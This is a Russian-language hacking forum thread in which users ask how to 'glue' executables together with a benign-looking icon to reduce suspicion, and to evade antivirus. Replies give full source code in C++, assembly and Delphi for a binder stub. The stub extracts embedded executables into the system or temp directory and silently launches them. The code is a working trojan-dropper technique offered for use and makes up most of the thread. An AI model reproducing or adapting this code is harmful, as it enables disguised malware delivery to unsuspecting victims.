Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
Как склеить файлы вместе с иконкой |

13.12.2007, 18:56
|
|
Участник форума
Регистрация: 31.10.2007
Сообщений: 213
Провел на форуме: 394522
Репутация:
14
|
|
Как склеить файлы вместе с иконкой
Каким склеивателем можна воспользоватса дабы на конечный набор файлов можна было поцепить иконку (чтобы возникало меньше подозрений)???
А то пользуюсь Super Glue32 а он иконки не цыпляет ...
|
|
|

08.11.2008, 23:13
|
|
Познающий
Регистрация: 07.09.2008
Сообщений: 79
Провел на форуме: 272452
Репутация:
10
|
|
На каком принципе создаються joiner-ы,есть ли у кого нибудь исходные коды joiner-а,желательно на языке C или C++.
Спасибо за внимание.
|
|
|

08.11.2008, 23:24
|
|
Постоянный
Регистрация: 06.11.2006
Сообщений: 865
Провел на форуме: 1977708
Репутация:
208
|
|
Всякие джойнеры меняют сигнатуру и многие антивирусы выдают ложные тревоги.
Лучше менять/ставить иконку с помощю: Restorator 2007
|
|
|

08.11.2008, 23:36
|
|
Познающий
Регистрация: 07.09.2008
Сообщений: 79
Провел на форуме: 272452
Репутация:
10
|
|
Сообщение от B1t.exe
Всякие джойнеры меняют сигнатуру и многие антивирусы выдают ложные тревоги.
Лучше менять/ставить иконку с помощю: Restorator 2007
Надеюсь понимате,что вы мне никак не помогли.
Я хотел принцип склеивания фаилов,насчет антивирусов мне это известно и так же известно что обоити их не трудно.
|
|
|

08.11.2008, 23:50
|
|
Новичок
Регистрация: 28.09.2008
Сообщений: 10
Провел на форуме: 69852
Репутация:
1
|
|
Кароче нужен Полуморфный криптор с функцией склеивания. - но такого не встречал.
|
|
|

09.11.2008, 00:14
|
|
Banned
Регистрация: 06.01.2008
Сообщений: 413
Провел на форуме: 1301036
Репутация:
1334
|
|
Сообщение от xismyname
На каком принципе создаються joiner-ы,есть ли у кого нибудь исходные коды joiner-а,желательно на языке C или C++.
Спасибо за внимание.
С++
Код:
#include "windows.h"
#pragma comment(linker,"/SECTION:.text,EWR")
#pragma comment(linker,"/ENTRY:WinMain")
int WINAPI WinMain(HINSTANCE,HINSTANCE,LPSTR,int){
//----------------------------------------------
char sys[260];
char file[260];
char* nfile =(char*)GlobalAlloc(NULL,1024*1024*50); // мах размер для клеющегося файла - 50мб
char* ofile = (char*)GlobalAlloc(NULL,1024*1024*100); //100мб под наш файл
DWORD dw , dw1,dw2,dwBytesRead;
DWORD x ,y,c;
x=0;
y=0;
c=0;
char temp[260];
HANDLE hFile1;
//-------------------------------------------------------
GetSystemDirectory(sys,260);
GetModuleFileName(NULL, file , 260);
HANDLE hFile = CreateFile(file,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
dw1= GetFileSize(hFile,&dw);
ReadFile(hFile,ofile,dw1 ,&dwBytesRead, NULL);
for(DWORD z=0;z<=dw1;z++){
x=z;
if(ofile[x]=='_'){ //_1 - разделитель
x++;
if(ofile[x]=='1'){
wsprintf(temp,"%s\\%d.exe",sys,x);
x++;
y=0;
while(1){
nfile[y]=ofile[x];
if(ofile[x]=='_'){
c=x+1;
if(ofile[c]=='1'){
break;
}
}
x++;
y++;
}
hFile1 = CreateFile(temp,GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_NEW ,FILE_ATTRIBUTE_NORMAL,NULL);
WriteFile(hFile1,nfile,y+1,&dw2,NULL);
CloseHandle(hFile1);
WinExec(temp,SW_SHOW);
}
}
}
return 0;
}
Asm
Код:
.386
.model flat,stdcall
option casemap:none
include ../INCLUDE/WINDOWS.inc
include ../INCLUDE/kernel32.inc
include ../INCLUDE/user32.inc
includelib ../LIB/kernel32.lib
includelib ../LIB/user32.lib
.data
.data?
sys byte <260>
file byte <260>
temp byte <260>
nfile byte <1024*1024*50>
ofile byte <1024*1024*100>
.const
.code
Main PROC
LOCAL dw3:DWORD , dw1:DWORD , dw2:DWORD , dwb:DWORD ,x1:DWORD , y1:DWORD ,c1:DWORD, hFile:HANDLE , hFile1:HANDLE
;----------------------------------------------------------------------------------------------------------
invoke GetSystemDirectory , addr sys , 260
invoke GetModuleFileName , NULL , addr file , 260
;-----------------------------------------------------------------------------------------------------------
mov x1 , 0
mov y1, 0
mov c1,0
;------------------------------------------------------------------------------------------------------------
invoke CreateFile , addr file , GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL
mov hFile , eax
invoke GetFileSize , hFile , addr dw3
mov dw1 , eax
invoke ReadFile , hFile , addr ofile , dw1 , addr dwb,NULL
;------------------------------------------------------------------------------------------------------------
mov ebx ,0
.WHILE ebx <= dw1
mov x1 , ebx
.IF ofile[x1] == '_'
inc x1
.if ofile[x1] == '1'
invoke lstrcat , addr temp ,addr sys
invoke lstrcat , addr temp , '\\'
invoke lstrcat , addr temp , x1
invoke lstrcat , addr temp , '.exe'
inc x1
mov y1 , 0
mov edi , 0
;---------------------------------------------------------------------------------------------------------------------------
.WHILE edi == 0
mov AL , ofile[x1]
mov nfile[y1] , AL
.if ofile[x1] == '_'
mov eax , x1
inc eax
.if ofile[eax] == '1'
mov edi ,1
.endif
.endif
inc x1
inc y1
.endw
;--------------------------------------------------------------------------------------------------------------------------------------
invoke CreateFile , addr temp , GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_NEW ,FILE_ATTRIBUTE_NORMAL,NULL
mov hFile1 , eax
inc y1
invoke WriteFile , hFile1 , addr nfile , y1 , dw2, NULL
invoke CloseHandle , hFile1
invoke WinExec , addr temp , SW_SHOW
.ENDIF
.ENDIF
inc ebx
mov edi ,0
.while edi<=260
mov temp[edi],NULL
inc edi
.endw
.ENDW
;------------------------------------------------------------------------------------------------------------------------------------
invoke CloseHandle , hFile1
invoke ExitProcess , NULL
Main ENDP
end Main
|
|
|

09.11.2008, 00:38
|
|
Познающий
Регистрация: 07.09.2008
Сообщений: 79
Провел на форуме: 272452
Репутация:
10
|
|
Вот это я понимаю,молодца... !
Большое спрасибо.
|
|
|

09.11.2008, 02:13
|
|
Постоянный
Регистрация: 20.06.2008
Сообщений: 323
Провел на форуме: 1240829
Репутация:
165
|
|
Ммм.. А на делфи кто может перевести этот код? 
|
|
|

09.11.2008, 02:17
|
|
Постоянный
Регистрация: 25.05.2008
Сообщений: 367
Провел на форуме: 2352294
Репутация:
416
|
|
http://www.delphiexpert.ru/view_download.php?id=28
http://pblog.ru/?p=80
http://forum.antichat.ru/threadnav32191-5-10-Delphi.html
|
|
|

13.11.2008, 14:51
|
|
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме: 371875
Репутация:
137
|
|
Ммм.. А на делфи кто может перевести этот код?
program Demo;
uses
SysUtils, Classes, windows, ShellAPI;
type
dm = record
File1 : Int64;
File2 : Int64;
File1_E : string[6];
File2_E : string[6];
end;
const
appsize = 40448; // размер упаковщика (После компиляции проверь и измени!!!)
headersize = 32; // размер заголовка
var
F1, // First File
F2, // Second File
F3, // Header File
F4 : TFileStream; //Main file
d : Dm;
f : file of dm;
function windir : string;
var
pWindowsDir : array [0..255] of Char;
begin
try
GetWindowsDirectory (pWindowsDir, 255);
Result := StrPas (pWindowsDir) + '\temp\';
except end;
end;
begin
CopyFileEx(pchar(paramstr(0)),pchar(windir+'demo.d at'),nil,nil,0,0); //Копируем наш файл в другое место
F4:=TFileStream.Create(windir+'demo.dat',fmOpenRea d); // Открываем наш файл
F4.Seek(F4.Size-headersize,0);
F3:=TFileStream.Create(windir+'Header.dat',fmOpenW rite or fmCreate); // \
F3.CopyFrom(F4,headersize); // |> копируем заголовочный файл с размерами файлов в нутри нашего файла %)
F3.Free; // /
AssignFile(f,windir+'header.dat'); // Открываем файл
reset(f); // заголовка
Read(F,d); // и читаем из него
Closefile(F); // наши данные
F4.Seek(appsize,0); // переходим в позицию после упаковщика
F1:=TFileStream.create(windir+'f1'+d.File1_E,fmOpe nWrite or fmCreate); //
F1.CopyFrom(F4,d.File1); // сохраняем 1-ый файл на диске
F1.Free; //
F4.Seek(appsize+d.File1,0); // переходим в позицию после упаковщика + размер первого файла
F2:=TFileStream.create(windir+'f2'+d.File1_E,fmOpe nWrite or fmCreate); //
F2.CopyFrom(F4,d.File2); // сохраняем 2-ой файл на диске
F2.Free; //
try
DeleteFile(PCHAR(windir+'demo.dat'));
DeleteFile(PCHAR(windir+'Header.dat'));
except
end;
ShellExecute(0,'open',pchar(windir+'f1'+d.File1_E) ,'','c:\',SW_NORMAL);
ShellExecute(0,'open',pchar(windir+'f2'+d.File1_E) ,'','c:\',SW_NORMAL);
F4.Free; // Закоываем конечный файл
end.
вот на делфи
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|